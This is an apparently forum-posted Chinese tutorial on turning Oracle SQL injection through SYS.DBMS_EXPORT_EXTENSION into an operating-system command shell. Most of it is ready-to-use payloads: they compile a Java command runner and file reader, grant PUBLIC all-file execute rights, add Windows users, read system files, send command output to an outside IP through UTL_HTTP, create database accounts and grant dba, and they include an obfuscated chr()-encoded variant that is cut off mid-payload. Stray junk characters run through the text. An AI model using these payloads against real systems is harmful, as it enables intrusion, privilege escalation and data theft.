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9 }. a/ D& v( I* Y7 _介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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1 ^* C; j- p3 K& D+ S* x以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成" {( p5 \& ]+ f' q; T9 C
1 X# o& a* z- E' |+ {9 v" Q3 _/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)' c6 N* O* u" r5 k" @4 c
" |2 {3 C; q1 q! N$ p0 S9 t
的形式即可。(用" 'a'|| "是为了让语句返回true值)6 H, [% ]3 q; \9 o+ L. N
7 S: F( B, P% P+ k+ W语句有点长,可能要用post提交。: |% C. p9 X9 T( ~
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以下是各个步骤:
* Q5 r, }* [7 A
, j( l" D; _* V* x" I4 I8 i6 i8 c1.创建包
4 W1 a6 A* R5 F3 G& V3 W4 B通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
" e1 `" g+ g/ Q; l$ y$ _, x
! e$ Y: y& l) n/xxx.jsp?id=1 and '1'<>'a'||(
% o! f% V# q7 w3 ]7 _ m( J: b9 Z5 k2 A8 U, M# B5 H- j, Z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 h. P( q/ p: ]' j* R# W. e) Y. ccreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(. C$ W$ w# V* n& H. e4 {
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}1 B, ?$ @* d1 w3 e! E
}'''';END;'';END;--','SYS',0,'1',0) from dual5 C- h$ l" V1 L- C3 C
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)# v5 U5 ~4 \, M5 S
" w, o3 b/ x& t# _$ R* X( K' t------------------------
! }% d4 G) D! D4 @# b8 i3 v$ x9 J2 I如果url有长度限制,可以把readFile()函数块去掉,即:0 j! E8 H) K- b9 m. x
/xxx.jsp?id=1 and '1'<>'a'||(
7 b( ^9 h: o, i0 `3 O. |. K+ q3 V' f/ s+ ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- y7 t$ o% I2 }# q
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
% r O" \6 l& t9 Znew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}8 J6 l1 _' t* g8 Q9 N
}'''';END;'';END;--','SYS',0,'1',0) from dual4 M+ f2 a, E0 e
8 B# D6 X. Z; X2 @ l0 i& e)+ Y3 s1 z2 g4 d' c$ ^/ A# u# d
$ i- q" ]; n, d. X0 I Q4 Z5 J+ u
同时把后面步骤 提到的 对readFile()的处理语句去掉。6 Y. R% q# Z. g7 f& G8 d) k
------------------------------
k- q8 F3 P8 z( s! z9 C, y" h9 E
+ k. e& j1 H$ V0 g6 A, j2.赋Java权限, v( M% `4 I- y7 v3 f$ d/ |) O
* g& f2 b4 E& }6 a7 `6 t
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
9 D/ y2 G) f. v% \$ A* A, Z7 p: @+ s, D2 B+ M1 ?
, q: C: @% O( _+ X0 x% e, |
" [" v' O$ O8 K/ Y3.创建函数
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% P# {* `# {3 [
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
+ [6 _( c3 B" N' N% I" b# R/ g1 L/ |, U8 H% n0 t
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; o6 X% G! _5 `8 {( C( v" ?( `( [8 Ecreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4 T7 p2 l" s1 ^( ^4 g4.赋public执行函数的权限
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. b3 _2 p. N7 L$ X" q4 O4 |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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9 N, G o+ n: L. C1 ~( b5.测试上面的几步是否成功3 K6 I B9 N" H
+ o( G* e3 Z) pand '1'<>'11'||(
6 p7 @9 i) @) [8 S# mselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD') x% \' |( E1 `& ^7 E
)
( [: H* k* D# S
; J$ A6 u$ s1 `+ |and '1'<>(
* q% B, R3 R! ]; }; J; Wselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'! O7 C# U# J" S! c9 Q# L* v
) ]; s. }. S$ [$ U+ }6 t
0 |& w$ ^; J1 d8 T- D3 \6.执行命令:* h+ C' T7 X( E% Q
/ C; Z: V y; a1 h% N+ N# ?: d$ H/xxx.jsp?id=1 and '1'<>(
; D1 ]1 t. R* iselect sys.LinxRunCMD('cmd /c net user linx /add') from dual4 a- F9 K% k! k; K. k
)
+ ]9 L$ H6 p1 l' p2 h+ k) X, V; q5 T: E$ k+ a9 }1 S; [
/xxx.jsp?id=1 and '1'<>(+ n+ I! o6 G9 i" J) Z6 O ^1 m
select sys.LinxReadFile('c:/boot.ini') from dual
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# L: \3 w% I Y2 R. y/ c% k注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。0 r3 ]& v. w2 l! r
如果要查看运行结果可以用 union :
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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或者UTL_HTTP.request(:
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/xxx.jsp?id=1 and '1'<>(" q2 j& B7 N+ T& s. y; r5 Q
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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8 c; A O4 W$ G" L$ i/xxx.jsp?id=1 and '1'<>(
7 j8 D7 Y+ Y5 G9 f- \$ E6 LSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
! F" b+ p/ A+ }2 U5 y0 t u)/ x0 X8 |1 @3 h
9 J) c. Q) a" a注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
# \$ |* Q( ~) @2 L/ j& I- I& }" v) }1 s, G1 e8 ~
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o* v/ Q! d4 v9 V--------------------5 I; a; W# I# i$ O4 A
9 }7 R7 P U; ~. p: r& `( \; D$ O! m6.内部变化% R2 F3 S$ s g
通过以下命令可以查看all_objects表达改变:7 J( n. |6 C T' k% \* |0 A
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'* e, X, y0 Z \ E% e' X
! L+ m3 V( N% Y4 n) {: y- g7.删除我们创建的函数6 ?" e' }8 T; C! `; P+ P
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 h) ]: X" S$ h, O4 l0 }6 w
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual4 E7 z. ]% m# |+ m
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====================================================
# |0 n4 X9 e: t T全文结束。谨以此文赠与我的朋友。
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7 U6 t' `9 e/ H5 w' T7 I! [linx- m) e; n* P. k0 P3 l# ?$ }- }
1248294459 }) o0 [- _& e' Z1 ?+ U4 R
2008.1.129 g! q( _& W0 r% W7 ~) c
linyujian@bjfu.edu.cn! ]9 e( K+ X8 C7 U* a2 N& Q) U
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======================================================================. }# V& r' o7 s! f6 Y
9 x, p- H8 k* U" T' T7 z测试漏洞的另一方法:
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# R3 H- l, [5 r _ F创建oracle帐号:# w' t# X0 V4 J' F8 E* { d2 b8 T
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% i: `! h- w. h! tCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual6 L4 ]7 w. ?+ k, K& A3 z3 `
* \" B- C$ D" I7 _# o! U2 q即:
9 Y6 F9 @! ^ s5 v) p8 V& Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
. G. A/ {) t+ m/ W: Dchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
+ ^) l! a2 B7 E0 z8 D$ q
+ G9 {3 i; ?* g0 U确定漏洞存在:3 ]3 v) p* S7 T f- {* ^# ]
1<>(
5 s, k& a7 Y/ D! G( Kselect user_id from all_users where username='LINXSQL'# d3 O3 \, h$ Z' S' S
)5 V) x- r5 @! L' g: V8 P3 E
8 Q# L8 a4 J" _* \. ~. l
给linxsql连接权限:
k2 k X0 B# \! }: Dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, p/ J- b$ `4 e- w+ {- HGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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* o* i+ K7 |0 @1 y0 L( T/ |, z删除帐号:) N J% y2 y' F+ Z; e' I( K1 x
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' y9 M4 t9 n3 I' [& D$ m3 m$ @drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual9 Q) d# U7 s$ ^- E8 c* J/ X" m, P
) Y5 `4 {9 \/ z4 B% i/ S2 `======================, j$ B# ~& R: S# V" q( c% Z& h
! R" p! ^; b U4 v: ^
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:# T: T8 G& }' _: w. }
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1.jsp?id=1 and '1'<>(' @8 w+ e5 M! `+ j8 u1 C7 W5 m
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 c. Z& ?( y: V. t# Q, Ucreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
6 U! Y w6 t- Z3 W# V) and ...# r! ?- ^# q; j
3 Z( O# w* u/ D( w4 B1.jsp?id=1 and '1'<>(/ p7 W, l8 z' R" T9 K* V) N+ a
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
1 }5 V3 a: ~$ T) and .... G% `6 n9 A' @: c
" ?/ H# _$ ^/ [) K2 f1.jsp?id=1 and '1'<>(' @2 {8 K- l! g- g0 S/ u
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
7 ]) p* [0 W4 y9 R0 B1 }/ I) and ...
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5 @: K; A$ F" ~* B f# s
4 D6 n* ?5 S; s+ ]( G: u
3 N' C( E3 L( E8 I$ x1.jsp?id=1 and '1'<>(
1 {3 c7 W; ], eSELECT sys.Linx_Query('declare pragma) V* P( \0 _+ T& V& q0 j* J. y
autonomous_transaction; begin execute immediate ''
, X6 i" q; O! M& s$ i/ eselect 1 from dual) h Q9 V. M) d& A2 u) T- z7 [, S
''; commit; end;') from dual
& d# D: x; b4 y& S) and ...
5 s7 b7 D w! L7 s8 m P3 U% s8 b% [2 j' n( Z8 E9 O% F
多语句:
( S) ?, e; b$ W# HSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
3 H! }. R9 T: f3 `6 f! `, ~7 M1 `9 v [+ e
创建用户(除非当前用户有system权限,否则无法成功):
" {$ e j! j5 J2 bSELECT sys.Linx_Query('declare pragma8 y; H9 M+ M4 ^- E: @
autonomous_transaction; begin execute immediate ''
! P- M! @+ ~% B- o/ f1 j5 RCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
/ I) {" q' H3 m6 U' h. Q. D! C* l$ R''; commit; end;') from dual
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& g3 x' I ]# q* L7 V8 m* Y8 O8 P- N( [* q! _4 H' U4 K
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6 f( C$ ?+ U B================
9 w5 V/ V# T/ h: A4 e0 h3 k以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()3 u% G; D1 W ?- |0 _, }
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1.创建函数
; J5 {9 S4 } y5 r0 `9 zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 I8 u4 y. U; U! ^$ w8 _5 `
create or replace function Linx_Query (p" Z% K% W" P: Y
varchar2) return number authid current_user is begin execute immediate" t" f/ H5 Y4 _0 W% R
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
9 J3 {& W( i8 V. I* c7 B' h6 p; r1 A9 G4 z# E
如果有权限,以下语句应该允许正常
* H+ ?& j1 H3 _) y% ]* Qselect sys.linx_query('select 1 from dual') from dual; Y. K. S4 G3 H3 z! h# c4 |2 i2 I" Q
. a3 P/ H) \" W
不然的话运行:
+ L2 z, L/ i w# Y1 H- H% o8 W9 {/ _& s1 K
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 \' ^. _& a2 p. {$ Hgrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
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2.创建包: @: \2 `6 d* T6 |2 T
SELECT sys.Linx_Query('declare pragma
! q' y( [, O% p" b" a7 g kautonomous_transaction; begin execute immediate ''
: _3 q! O* k# V) ^" A' Ncreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
6 }0 Y$ P1 [ W* S1 R$ ^' N/ Nnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual2 p; I5 k d0 ^* u0 X, w
6 v9 O2 `1 s3 a) U, [3.创建函数5 [: v) B* f- [: B' R1 I; o
SELECT sys.Linx_Query('declare pragma
) Q: m% }2 u7 r4 a. m4 ]# ^autonomous_transaction; begin execute immediate ''
3 `2 [+ U3 u5 X$ r/ v2 Ecreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
8 Z1 H/ ~" @9 {' l0 W& p, V) Y! d2 S6 M+ i
4.给权限
- t3 X9 W! o! o; g% X1 H( S给用户SYSTEM执行权限:- m0 Z. m- |. a0 }& g
9 ~# \3 {0 p0 S. o0 GSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual6 Y, T, S/ G8 B3 @
1 s6 E; k% r9 t& c; A
/ M+ r0 w( u, Y. F+ ]6 x! {- N/ R/ o2 I, g: h; G
5.执行函数
9 I2 O% N9 c w! bselect RunCMD2('cmd /c dir') from dual
( E8 g+ A$ f1 [2 R9 I3 ?9 K# _1 X
( V3 m* o& C3 u
3 l. W( l" Y( y: {4 `( X: p1 {, N2 ?
# y& R$ G4 f; S3 b1 C$ K! O: K4 W8 Y5 L1 c5 g: x3 `
==================
& |3 T$ I2 C7 q9 k3 \* y================================! \) ^# [- ?2 K9 t
4 i( U4 K Y1 H
以下是无 " ' " 版:) \4 [% t$ h) I6 Z3 {
# y) K% h! _" a9 g
以下是各个步骤:5 Z; F5 `: C: V) g* a
1 t4 r# }% a$ F( g. b: \2 p
1.创建包
( E, y/ z( M: ]$ O% H$ L5 e通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
/ X: Q) I8 L. a( u( \因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:# t8 l" R, ^& s0 q5 M
1 n4 P: v" B; Y. M% r/xxx.jsp?id=1 and chr(49)<>chr(50)||(
& C* V+ I9 q& T+ D- [) R% u) o: u N# _& Z* F, K' T
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
; T+ l+ }: [4 q; ]( O- h& j( z" gchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||( }* U& C( v( V6 n2 i7 Q+ D3 m
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
`* y& `" `0 Cchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
/ P: w0 S- W9 |chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||# w. Q" O( H$ i
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||: d+ h( o( K$ V
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||6 j- A3 K/ y- i+ C" S
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||& E y$ `: i9 N& d# `
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||% Z8 h$ ?! ]0 V2 d. H5 g
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||* H) W( l4 w3 V$ N& V
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||- a7 ] J7 ]! f: E9 Z* |9 a
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
7 e2 Y, W& c. S4 vchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
! [+ a2 ?1 }% O' v* Pchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||2 | k3 Q! S3 ~# C( i6 D4 f4 [
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||- b% X6 d- F" q- Q( J! P5 b2 i
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||6 B; k) _2 C u, f
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)|| D, @7 Q3 i. U7 D# A& {( u2 O; G
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||7 B6 E2 l& u g( G d8 `
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
" ?2 N- F2 G6 i( Nchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
